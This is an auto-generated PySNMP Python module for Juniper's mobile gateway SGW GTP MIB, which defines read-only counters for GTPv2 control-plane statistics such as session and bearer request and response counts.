# # PySNMP MIB module JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB # Produced by pysmi-0.3.4 at Wed May 1 14:00:25 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "ValueSizeConstraint", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion") InetAddressPrefixLength, InetPortNumber, InetAddress, InetAddressType = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddressPrefixLength", "InetPortNumber", "InetAddress", "InetAddressType") Ipv6AddressIfIdentifier, Ipv6AddressPrefix, Ipv6Address = mibBuilder.importSymbols("IPV6-TC", "Ipv6AddressIfIdentifier", "Ipv6AddressPrefix", "Ipv6Address") jnxMobileGatewaySgw, = mibBuilder.importSymbols("JUNIPER-MBG-SMI", "jnxMobileGatewaySgw") EnabledStatus, = mibBuilder.importSymbols("JUNIPER-MIMSTP-MIB", "EnabledStatus") jnxMbgGwName, jnxMbgGwIndex = mibBuilder.importSymbols("JUNIPER-MOBILE-GATEWAYS", "jnxMbgGwName", "jnxMbgGwIndex") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Counter32, Counter64, Bits, TimeTicks, Integer32, iso, ObjectIdentity, MibIdentifier, Unsigned32, Gauge32, IpAddress, NotificationType = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter32", "Counter64", "Bits", "TimeTicks", "Integer32", "iso", "ObjectIdentity", "MibIdentifier", "Unsigned32", "Gauge32", "IpAddress", "NotificationType") TextualConvention, RowStatus, TruthValue, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "RowStatus", "TruthValue", "DisplayString") jnxMbgSgwGtpMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2)) jnxMbgSgwGtpMib.setRevisions(('2011-09-21 12:00',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: jnxMbgSgwGtpMib.setRevisionsDescriptions(('Initial version',)) if mibBuilder.loadTexts: jnxMbgSgwGtpMib.setLastUpdated('201109211200Z') if mibBuilder.loadTexts: jnxMbgSgwGtpMib.setOrganization('Juniper Networks, Inc.') if mibBuilder.loadTexts: jnxMbgSgwGtpMib.setContactInfo('Juniper Technical Assistance Center Juniper Networks, Inc. 1194 N. Mathilda Avenue Sunnyvale, CA 94089 E-mail: support@juniper.net') if mibBuilder.loadTexts: jnxMbgSgwGtpMib.setDescription('This module defines some sample objects pertaining to GTP protocol.') jnxMbgSgwGtpNotifications = MibIdentifier((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 0)) jnxMbgSgwGtpObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1)) jnxMbgSgwGtpCGlbStatsTable = MibTable((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2), ) if mibBuilder.loadTexts: jnxMbgSgwGtpCGlbStatsTable.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpCGlbStatsTable.setDescription('Each entry corresponds to a gateway level GTP Control statistic.') jnxMbgSgwGtpGlbStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1), ).setIndexNames((0, "JUNIPER-MOBILE-GATEWAYS", "jnxMbgGwIndex")) if mibBuilder.loadTexts: jnxMbgSgwGtpGlbStatsEntry.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpGlbStatsEntry.setDescription('A specification of the GTP gateway level control Statistics.') jnxMbgSgwRxPacketsDropped = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 1), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwRxPacketsDropped.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwRxPacketsDropped.setDescription('Number of Received Packets Dropped.') jnxMbgSgwPacketAllocFail = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPacketAllocFail.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPacketAllocFail.setDescription('Number of Packet allocation failures.') jnxMbgSgwPacketSendFail = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPacketSendFail.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPacketSendFail.setDescription('Number of Packet Send failures.') jnxMbgSgwIPVerErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIPVerErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIPVerErrRx.setDescription('Number of IP Version Error Packets Received.') jnxMbgSgwIPProtoErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIPProtoErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIPProtoErrRx.setDescription('Number of IP protocol Error packets Received.') jnxMbgSgwGTPPortErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGTPPortErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGTPPortErrRx.setDescription('Number of Port Error Packets Received.') jnxMbgSgwGTPUnknVerRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGTPUnknVerRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGTPUnknVerRx.setDescription('Number of Unknown Version Packets Received.') jnxMbgSgwPcktLenErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPcktLenErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPcktLenErrRx.setDescription('Number of Packet Length Error Packets Received.') jnxMbgSgwUnknMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUnknMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUnknMsgRx.setDescription('Number of Unknown Messages Received.') jnxMbgSgwProtocolErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwProtocolErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwProtocolErrRx.setDescription('Number of GTPv2 Protocol Errors Received.') jnxMbgSgwUnSupportedMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUnSupportedMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUnSupportedMsgRx.setDescription('Number of GTPv2 Unsupported Messages received.') jnxMbgSgwT3RespTmrExpRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 12), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwT3RespTmrExpRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwT3RespTmrExpRx.setDescription('Number of GTP V2 T3 timer expiries Received.') jnxMbgSgwV2NumMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 13), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2NumMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2NumMsgRx.setDescription('Number of GTPv2 messages received.') jnxMbgSgwV2NumMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 14), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2NumMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2NumMsgTx.setDescription('Number of V2 messages sent.') jnxMbgSgwV2NumBytesRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 15), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2NumBytesRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2NumBytesRx.setDescription('Number of GTPv2 bytes received.') jnxMbgSgwV2NumBytesTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 16), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2NumBytesTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2NumBytesTx.setDescription('Number of V2 bytes sent.') jnxMbgSgwV2EchoReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 19), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2EchoReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2EchoReqRx.setDescription('Number of GTP V2 Echo Request received.') jnxMbgSgwV2EchoReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 20), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2EchoReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2EchoReqTx.setDescription('Number of GTP V2 Echo Request Sent.') jnxMbgSgwV2EchoRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 21), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2EchoRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2EchoRespRx.setDescription('Number of GTP V2 Echo Response received.') jnxMbgSgwV2EchoRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 22), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2EchoRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2EchoRespTx.setDescription('Number of GTP V2 Echo Response Sent.') jnxMbgSgwV2VerNotSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 23), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2VerNotSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2VerNotSupRx.setDescription('Number of GTP V2 Version Not supported messages received') jnxMbgSgwV2VerNotSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 24), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwV2VerNotSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwV2VerNotSupTx.setDescription('Number of GTP V2 version not supported messages sent.') jnxMbgSgwCreateSessReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 25), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCreateSessReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCreateSessReqRx.setDescription('Number of GTP V2 Create Session Requests received.') jnxMbgSgwCreateSessReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 26), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCreateSessReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCreateSessReqTx.setDescription('Number of GTP V2 Create Session Requests Sent.') jnxMbgSgwCreateSessRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 27), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCreateSessRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCreateSessRspRx.setDescription('Number of GTP V2 Create Session Responses received.') jnxMbgSgwCreateSessRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 28), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCreateSessRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCreateSessRspTx.setDescription('Number of GTP V2 Create Session Responses Sent.') jnxMbgSgwModBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 29), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrReqRx.setDescription('Number of GTP V2 Modify Bearer Requests received.') jnxMbgSgwModBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 30), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrReqTx.setDescription('Number of GTP V2 Modify Bearer Requests Sent.') jnxMbgSgwModBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 31), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrRspRx.setDescription('Number of GTP V2 Modify Bearer Responses received.') jnxMbgSgwModBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 32), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrRspTx.setDescription('Number of GTP V2 Modify Bearer Responses Sent.') jnxMbgSgwDelSessReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 33), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelSessReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelSessReqRx.setDescription('Number of GTP V2 Delete Session Requests received.') jnxMbgSgwDelSessReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 34), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelSessReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelSessReqTx.setDescription('Number of GTP V2 Delete Session Requests Sent.') jnxMbgSgwDelSessRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 35), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelSessRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelSessRspRx.setDescription('Number of GTP V2 Delete Session Responses received.') jnxMbgSgwDelSessRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 36), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelSessRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelSessRspTx.setDescription('Number of GTP V2 Delete Session Responses Sent.') jnxMbgSgwCrtBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 37), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrtBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrtBrReqRx.setDescription('Number of GTP V2 Create Bearer Requests received.') jnxMbgSgwCrtBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 38), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrtBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrtBrReqTx.setDescription('Number of GTP V2 Create Bearer Requests Sent.') jnxMbgSgwCrtBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 39), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrtBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrtBrRspRx.setDescription('Number of GTP V2 Create Bearer Response received.') jnxMbgSgwCrtBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 40), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrtBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrtBrRspTx.setDescription('Number of GTP V2 Create Bearer Response Sent.') jnxMbgSgwUpdBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 41), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdBrReqRx.setDescription('Number of GTP V2 Update Bearer Request received.') jnxMbgSgwUpdBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 42), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdBrReqTx.setDescription('Number of GTP V2 Update Bearer Request Sent.') jnxMbgSgwUpdBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 43), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdBrRspRx.setDescription('Number of GTP V2 Update Bearer Response received.') jnxMbgSgwUpdBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 44), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdBrRspTx.setDescription('Number of GTP V2 Update Bearer Response Sent.') jnxMbgSgwDelBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 45), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrReqRx.setDescription('Number of GTP V2 Delete Bearer Request received.') jnxMbgSgwDelBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 46), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrReqTx.setDescription('Number of GTP V2 Delete Bearer Request Sent.') jnxMbgSgwDelBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 47), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrRspRx.setDescription('Number of GTP V2 Delete Bearer Response received.') jnxMbgSgwDelBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 48), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrRspTx.setDescription('Number of GTP V2 Delete Bearer Response Sent.') jnxMbgSgwDelConnSetReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 49), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelConnSetReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelConnSetReqRx.setDescription('Number of GTP V2 Delete PDN connection set Request received.') jnxMbgSgwDelConnSetReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 50), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelConnSetReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelConnSetReqTx.setDescription('Number of GTP V2 Delete PDN connection set Request Sent.') jnxMbgSgwDelConnSetRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 51), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelConnSetRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelConnSetRspRx.setDescription('Number of GTP V2 Delete PDN connection set Response received.') jnxMbgSgwDelConnSetRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 52), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelConnSetRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelConnSetRspTx.setDescription('Number of GTP V2 Delete PDN connection set Response Sent.') jnxMbgSgwUpdConnSetReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 53), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetReqRx.setDescription('Number of GTP V2 Update Connection set Request received.') jnxMbgSgwUpdConnSetReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 54), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetReqTx.setDescription('Number of GTP V2 Update Connection set Request Sent.') jnxMbgSgwUpdConnSetRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 55), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetRspRx.setDescription('Number of GTP V2 Update Connection set Response received.') jnxMbgSgwUpdConnSetRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 56), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwUpdConnSetRspTx.setDescription('Number of GTP V2 Update Connection set Response Sent.') jnxMbgSgwModBrCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 57), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrCmdRx.setDescription('Number of GTP V2 Modify Bearer Command received.') jnxMbgSgwModBrCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 58), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrCmdTx.setDescription('Number of GTP V2 Modify Bearer Command Sent.') jnxMbgSgwModBrFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 59), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrFlrIndRx.setDescription('Number of GTP V2 Modify Bearer Failure received.') jnxMbgSgwModBrFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 60), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwModBrFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwModBrFlrIndTx.setDescription('Number of GTP V2 Modify Bearer Failure Sent.') jnxMbgSgwDelBrCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 61), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrCmdRx.setDescription('Number of GTP V2 Delete Bearer Command received.') jnxMbgSgwDelBrCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 62), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrCmdTx.setDescription('Number of GTP V2 Delete Bearer Command Sent.') jnxMbgSgwDelBrFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 63), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrFlrIndRx.setDescription('Number of GTP V2 Delete Bearer Failure received.') jnxMbgSgwDelBrFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 64), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelBrFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelBrFlrIndTx.setDescription('Number of GTP V2 Delete Bearer Failure Sent.') jnxMbgSgwBrResCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 65), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwBrResCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwBrResCmdRx.setDescription('Number of GTP V2 Bearer Response Command received.') jnxMbgSgwBrResCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 66), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwBrResCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwBrResCmdTx.setDescription('Number of GTP V2 Bearer Response Command Sent.') jnxMbgSgwBrResFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 67), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwBrResFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwBrResFlrIndRx.setDescription('Number of GTP V2 Bearer Resource Failure received.') jnxMbgSgwBrResFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 68), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwBrResFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwBrResFlrIndTx.setDescription('Number of GTP V2 Bearer Resource Failure Sent.') jnxMbgSgwRelAcsBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 69), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrReqRx.setDescription('Number of GTP V2 Release Access Bearer Requests received.') jnxMbgSgwRelAcsBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 70), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrReqTx.setDescription('Number of GTP V2 Release Access Bearer Requests sent.') 